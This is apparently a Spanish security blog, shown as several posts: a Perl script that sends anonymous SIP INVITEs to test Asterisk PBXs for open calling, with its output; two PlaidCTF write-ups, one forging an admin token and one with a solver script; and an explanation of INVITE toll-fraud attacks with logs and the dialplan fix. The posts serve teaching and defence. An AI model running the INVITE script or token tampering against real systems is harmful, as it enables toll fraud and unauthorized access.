	$msg .= "m=audio 2362 RTP/AVP 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n";

	my $data = "";
	my $server = "";
	my $useragent = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	print "\nReceiving:\n=========\n$data\n\n";
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h <host> [options]

== Options ==
-n <integer>     = Number to call
-p <integer>     = Remote SIP port (default: 5060)

== Examples ==
\$$0 -h 192.168.0.1 -n 100
\$$0 -h 192.168.0.1 -n 666666666 -p 5060

};

	exit 1;
}

init();

El script únicamente admite un host a escanear, pero no sería muy complicado modificarlo para poder realizar escaneos de rangos para buscar centralitas vulnerables.

Tras ejecutarlo, en caso de que seamos vulnerables, veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:41676>
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq
Call-id: 77bc64f6f7b24ffd2b2a41d454f48aa5
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>
Call-ID: 77bc64f6f7b24ffd2b2a41d454f48aa5
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:657xxxxxx@192.168.2.9:5060>
Content-Length: 0

Como se puede apreciar, la respuesta por parte del servidor es un ‘100 Trying’, lo que nos indica que la petición ha sido aceptada y está intentando efectuar la llamada. En caso de que el número que hayamos indicado sea válido, simplemente se ejecutará la llamada. Si ponemos un número inexistente, no se efectuará, evidentemente … pero la respuesta nos servirá para verificar que la máquina es vulnerable.

En caso de que la configuración del contexto default sea correcta y no permita realizar llamadas veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:32986>
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z
Call-id: 5265813dee1ea0f4af3672f83c1694ea
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 404 Not Found
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>;tag=as084cea9d
Call-ID: 5265813dee1ea0f4af3672f83c1694ea
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Content-Length: 0

Obtendremos un ‘404 Not Found’. Y en el log del Asterisk veremos:

 == Using SIP RTP CoS mark 5
[Jan  5 19:12:45] NOTICE[14000]: chan_sip.c:22001 handle_request_invite: Call from '' (192.168.2.9:52838) to extension '657xxxxxx' rejected because extension not found in context 'default'.

Recordemos que mediante la variable allowguest (que por defecto viene a ‘yes’) podemos permitir el uso de peticiones anónimas. A pesar de tener bien configurado el contexto default, si allowguest=yes podremos realizar llamadas a extensiones internas del sistema. Por ejemplo:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

Sending:
=======
INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:40486>
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa
Call-id: 497cd8864668cd7580dace0dd3f357f2
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>
Call-ID: 497cd8864668cd7580dace0dd3f357f2
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:100@192.168.2.9:5060>
Content-Length: 0

Sin embargo, si establecemos allowguest=no nos solicitará autenticación y no nos permitirá llamar:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:46225>
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75
Call-id: cfd8b3380a3532be7ac7650026fd23fb
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>;tag=as58329940
Call-ID: cfd8b3380a3532be7ac7650026fd23fb
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="59b26d87"
Content-Length: 0

En este caso recibimos un ‘401 Unauthorized’ indicándonos la necesidad de autenticarnos para poder realizar llamadas.

 

PlaidCTF – RoboDate write-up

Lunes, abril 30th, 2012

Este es otro reto de los medio-fáciles, pues también valía sólo 100 puntos.


El enunciado decía:


So apparently robots, despite their lack of hormones, still have an underlying desire to mate. We stumbled upon a robot dating site, RoboDate. Hack it for us!


La URL del reto es: http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/ y tras acceder, si editamos el código fuente aparecía:


<!--
    <form action="/59ec1e5173d9cb794f1c29bc333f7327/login.py" method="POST">
        <lable for="username">Username:</label>
        <input id="username" name="username" placeholder="Username">
        <label for="status">Dating status:</label>
        <input id="status" name="status" placeholder="Single">
        <input value="Login" type="submit">
    </form>
-->


Con lo cual, intentamos cargar la página de login pasando como parámetro los campos username y status:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1


Esto nos redirigía a otra página:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/frontpage.py?token=13074cdda7654e75690573228d2cf91881f471a2ebc0c16c27250089e088a19c


De nuevo, editando el código fuente veíamos algo así:


<!--
    debug info:

    user_data = pepe|1|user
    key = Only admins can see the key.
-->


Tras varias pruebas intentando crear un tercer parámetro que indicara que somos admin, y de probar diferentes inyecciones, tratamos de inyectar un pipe:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1|admin


Pero el resultado era:


<!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
-->


Lo curioso era que si cargabas la dirección del token directamente, también te mostraba esos resultados y, es imposible que dado un token así pueda obtener el username y el status que corresponde. Así que probamos a modificar los valores del token y, efectivamente, según lo que cambiáramos, podíamos alterar los datos.


Lo primero que se nos ocurrió fue cambiar la palabra user por admin:


Los valores a cambiar:
5155572fa13744________0831012355dfdae874c27fdcea73913a7731e6c1fc


Resultado:
5155572fa1374497319ce20831012355dfdae874c27fdcea73913a7731e6c1fc


Y así obteníamos: admi … pero no hubo forma de conseguir la n


<!--
    debug info:

    user_data = pepe|1|admi
    key = Only admins can see the key.
-->


De manera que probamos con root, que tiene la misma longitud que user:


5155572fa13744843a9eff0831012355dfdae874c27fdcea73913a7731e6c1fc


Pero tampoco hubo suerte.


<!--
    debug info:

    user_data = pepe|1|root
    key = Only admins can see the key.
-->


Y tras pensar un poco, recordamos que si poníamos status=1|admin nos generaba un escape en el pipe, pero luego podríamos probar a modificar el token para anular ese escape:


Metemos como parametro: status=1|admin


083a7fb3b87a71290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
    -->


Y modificando el token quitamos la \


083a7fb3b87a70290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1]|admin|user
    key = 2012-04-25_14:46:24.29582+05:27@2012%127.0.0.2_IS_BEST_KEY
    -->


PlaidCTF – The Game write-up

Lunes, abril 30th, 2012

Este fin de semana pudimos jugar al CTF que prepararon los PPP (Plaid Parliament of Pwning) que, para mi gusto, es uno de los más complicados, además de divertidos. La verdad es que no conseguimos pasar del puesto 103 pero aún así nos lo pasamos genial concursando.

 

Entre el resto de equipos españoles, destacar a los int3pids que quedaron en el puesto 11, PentSec en el 74, Activalink en el 80, y algunos otros que quedaron por detrás nuestra.

 

Nosotros pasamos únicamente 4 retos, pero este concretamente me gustó porque había que programar y no sólo estrujarse el cerebro pensando. Está catalogados como nivel medio-fácil (viendo que sólo vale 100 puntos), así que podéis imaginar cómo serían los difíciles :)

 

El enunciado decía esto:

 

Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.
23.22.16.34:6969

 

(nota: por saturación del servidor llegaron a cambiar de máquina 2 veces)

 

Tras conectar con un Netcat al servidor obteníamos algo así:

You have gotten 0 of 75
Choice 1 = f17775ea8c035349a2aca2a8bb3072897e
Choice 2 = 8ad96c125229183197c5ac7901216ba07f
Which one is bigger? (1 or 2)

A lo que debíamos aceptar 75 veces cuál de los dos era mayor, pero tras perder mucho tiempo buscando la lógica de los hashes:

 

– Mirando cuál era mayor
– Sumando los números
– Sumando las letras
– Comparando cada dígito
etc.

 

Al final optamos por programar un script que memorizara las soluciones a la espera de que se produjeran repeticiones.

 

Lo que hace el script es:

1- Preparamos 2 arrays para almacenar las parejas de tokens, en el primer array guardaremos los mayores y en el segundo, los menores.
2- Verificamos si la combinación solicitada está en nuestra lista de tokens almacenados (T1 > T2 o T2 > T1).
3- Si no está, verificamos si tenemos esos tokens guardados y hay algún valor intermedio que nos permita deducir si es mayor o menor (T1 > x > T2 o T2 > x > T1).
4- Si no tenemos la respuesta, probamos con un T1 > T2 y guardamos el resultado dependiendo de si hemos acertado o fallado.

 

Además de almacenar los tokens en arrays, los guardamos en disco para no perder los avances en caso de reiniciar por a algún fallo del server.

 

Y el script con el que conseguimos pasar la prueba es:

#!/usr/bin/perl

# by Pepelux

use IO::Socket;

my @t1;	# valores mayores
my @t2;	# valores menores

open (MYFILE, 'TheGame.txt');

while (<MYFILE>) {
	chomp;

	(my $token1, my $token2) = split(/ /, $_, 2);

	push (@t1, $token1);
	push (@t2, $token2);
}

close (MYFILE);

my $sc = new IO::Socket::INET (PeerAddr => '23.22.16.34',
		 PeerPort => '6969',
		 Timeout => '10',
		 Proto => 'tcp')
		 or die("Server is not available.\n");

while (1) {
	# cogemos los datos
	recv($sc, my $data1, 500, undef);
	my $tmp = $data1;
	$tmp =~ /gotten\s([0-9|\s|[a-z]*)/;
	my $values = "Found $1";
	$values =~ s/\n//g;

	if ($data1 =~ /76 of 75/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	if ($data1 !~ /bigger/) {
		recv($sc, my $data2, 500, undef);
	}

	# obtenemos los tokens
	my $tmp = $data1;
	$tmp =~ /Choice\s1\s=\s([a-f|0-9]*)\s/;
	my $token1 = $1;

	$tmp = $data1;
	$tmp =~ /Choice\s2\s=\s([a-f|0-9]*)\s/;
	my $token2 = $1;

	my $res = "1";
	my $new = 1;
	my $type = 0;

	# comprobamos si tenemos ese token guardado
	for (my $i = 0; $i < $#t1; $i++) {
		if (($t1[$i] eq $token1) && ($t2[$i] eq $token2)) {
			$res = "1";
			$new = 0;
			$type = 1;
		}

		if (($t2[$i] eq $token1) && ($t1[$i] eq $token2)) {
			$res = "2";
			$new = 0;
			$type = 2;
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token1 > que algún otro > token2
		FOO1: {
			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token1) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token2)) {
							$res = "1";
							$new = 2;
							$type = 3;
							last FOO1;
						}
					}
				}
			}
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token2 > que algún otro > token1
		FOO2: {
			for (my $i = 0; $i < $#t1; $i++) {
				if ($t1[$i] eq $token2) {
					my $tmp = $t2[$i];

					for (my $j = 0; $j < $#t1; $j++) {
						if (($t1[$j] eq $tmp) && ($t2[$j] eq $token1)) {
							$res = "2";
							$new = 2;
							$type = 4;
							last FOO2;
						}
					}
				}
			}
		}
	}

	# enviamos la respuesta y obtenemos el resultado
	print $sc "$res\n";
	recv($sc, my $data3, 500, undef);

	if ($data3 =~ /key/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	my $c = "Correct";
	my $ft1 = $token1;
	my $ft2 = $token2;

	# si no estaba almacenada esa combinación de tokens, la guardamos
	if ($new > 0)	{
		# si la respuesta es incorrecta, cambiamos el resultado
		if ($data3 =~ /Wrong/) {
			$c = "Wrong";

			if ($res eq "1") {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
			else {
				push (@t1, $token1);
				push (@t2, $token2);
			}
		}
		else {
			if ($res eq "1") {
				push (@t1, $token1);
				push (@t2, $token2);
			}
			else {
				push (@t1, $token2);
				push (@t2, $token1);
				$ft1 = $token2;
				$ft2 = $token1;
			}
		}

		# guardamos en un fichero los tokens
		open (MYFILE, '>>TheGame.txt');
		print MYFILE "$ft1 $ft2\n";
		close (MYFILE);
	}
	else {
		$c = "Wrong" if ($data =~ /Wrong/);
	}

	# guardamos en un fichero de logs
	open (MYFILE, '>>TheGame.log');
	print MYFILE "$data1\n";
	print MYFILE "$data2\n";
	print MYFILE "$data3\n";
	close (MYFILE);

	$type = "T1 > T2" if ($type eq 1);
	$type = "T2 > T1" if ($type eq 2);
	$type = "T1 > x > T2" if ($type eq 3);
	$type = "T2 > x > T1" if ($type eq 4);

	print "$values - " . ($#t1+1) . " token pairs saved - $c (res=$res)";
	print " - match found ($type)" if ($new ne 1);
	print "\n";
}

Finalmente, una vez acertadas las 75 respuestas seguidas, en el fichero TheGame.log podemos ver la key para pasar el reto, que es: d03snt_3v3ry0n3_md5

 

Asterisk – INVITE attack

Miércoles, febrero 15th, 2012

Cuando hablamos de VoIP, la mayoría de los ataques con éxito están relacionados con malas configuraciones. A parte de posibles 0-days que puedan surgir y permitan a un atacante hacerse con el sistema, hay infinidad de scripts y programas que no sólo intentan buscar y crackear cuentas de usuario, como el famoso sipvicious sino que hay un tipo de ataque en concreto que se ha hecho bastante conocido y que ha dado muchos quebraderos de cabeza.


A pesar de que es algo antiguo, se sigue viendo este tipo de ataques, por ejemplo, en este proxy SIP de pruebas que ha montado el amigo @linuxmaniac:

Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:40879903080866@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:40879903080866@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJf94b43055bQNdlDwuK8IgNjjWNGgnp@184.106.171.219
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:0442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:0442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed94x2TTRksZHBKr@184.106.171.219
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:00442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:00442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed92FESbviHe6VIp@184.106.171.219
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:000442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:000442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed90LMpE7cf6xj0g@184.106.171.219
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:001442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:001442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8eTxhaDNCbgBoV@184.106.171.219
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9011442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9011442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8cEyW8PTMdM9xK@184.106.171.219
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:900442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:900442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8a8PtrObFtggpA@184.106.171.219
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:011442032988743@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:011442032988743@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed87e4w6VZm12C7X@184.106.171.219
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9011442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9011442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed851dWaeL3kSQTp@184.106.171.219
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+900442032988739@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+900442032988739@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed832nfhK1PnDBhq@184.106.171.219
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed815SQTGS3vOzNl@184.106.171.219
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbfyeVcmlm4Bi41@184.106.171.219
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+90442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+90442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbdQOj7GUW7ft7P@184.106.171.219
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:90442032988738@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:90442032988738@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbb5fzz8bUYCteH@184.106.171.219
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+00442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+00442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb9p3RCA6IavNWv@184.106.171.219
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+011442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+011442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb7SmzBrJIb3oOJ@184.106.171.219
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb5efuPiaVPGrEN@184.106.171.219
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+000442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+000442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb3gLzf7noBsq32@184.106.171.219
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:1442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:1442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb1wCL2P0rcTk2t@184.106.171.219
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edafyoQN4NAWd100@184.106.171.219

Llevamos 2 días sufriendo este ataque y la solución es fácil, bloquear la IP, pero como es un servidor de pruebas, estamos aprovechando para testearlo :)



Como podemos ver, hay alguien desde la IP 184.106.171.219 (de Texas – USA) que está enviando diferentes INVITEs, y tratando de hacer llamadas al Reino Unido. Además, está jugando con diferentes prefijos para ver si se salta las restricciones del Dialplan: con 00, 0044, +0044, etc.



Al contrario de lo que piensa mucha gente, NO es necesario estar registrado para realizar una llamada. El comando REGISTER únicamente sirve para que nuestro servidor de VoIP sepa que estamos ahí y si llega una llamada destinada a nosotros, nos la pase. Es decir, nosotros nos registramos y le indicamos nuestros datos al servidor para nos tenga localizados y sepa contactar con nosotros.

Por el contrario, a la hora de hacer una llamada, basta con enviar una petición (INVITE).



¿Qué ocurre cuando tratamos de realizar una llamada?
Da igual que marquemos 100 que marquemos 0044545454545, aunque nosotros visualmente pensemos que 100 es una extensión interna y lo otro un geográfico, para el sistema es sólo un número y lo que va a hacer es, tras recibir un INVITE, intentar conectar con el destinatario. Al ser una llamada externa, buscará en el contexto ‘default’.



Normalmente, tendremos algo así en nuestro extensions.conf (de forma muy resumida):

[internal]
exten => 100,1,Dial(SIP/100,30,t)
exten => 100,n,Hangup()
exten => 101,1,Dial(SIP/101,30,t)
exten => 101,n,Hangup()

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

[phones]
include => internal
include => external

[default]
include => internal


Y en nuestro sip.conf incluiremos las extensiones en el contexto ‘phones’, para que puedan realizar llamadas tanto internas como externas:

[100]
type=peer
secret=xxxxxxxxxx
context=phones
[101]
type=peer
secret=xxxxxxxxxx
context=phones

De esta forma, al recibir una llamada, se intentará localizar únicamente las extensiones internas, que son las permitidas en el contexto por defecto. Del mismo modo que permitimos realizar llamadas fuera, a través del trunk, únicamente a los teléfonos registrados.


¿Qué es lo que hace la configuración de arriba?
En ‘internal’ se permite sólo llamar a las extensiones 100 y 101, pero en ‘external’ le estamos permitiendo realizar cualquier llamada (X puede ser cualquier número y el . indica cualquier longitud).


Por tanto, si pusiéramos en ‘default’ algo así:

[default]
include => internal
include => external

En este caso, estaríamos permitiendo a cualquiera que mande un INVITE, realizar llamadas a cualquier destino (sin necesidad de tener una cuenta registrada). Esto, aunque parece una tontería, ocurre mucho. Es un fallo tonto de configuración que nos puede salir muy caro. Y una muestra de que sigue ocurriendo esto es el ataque que hemos recibido tratando de sacar llamadas.


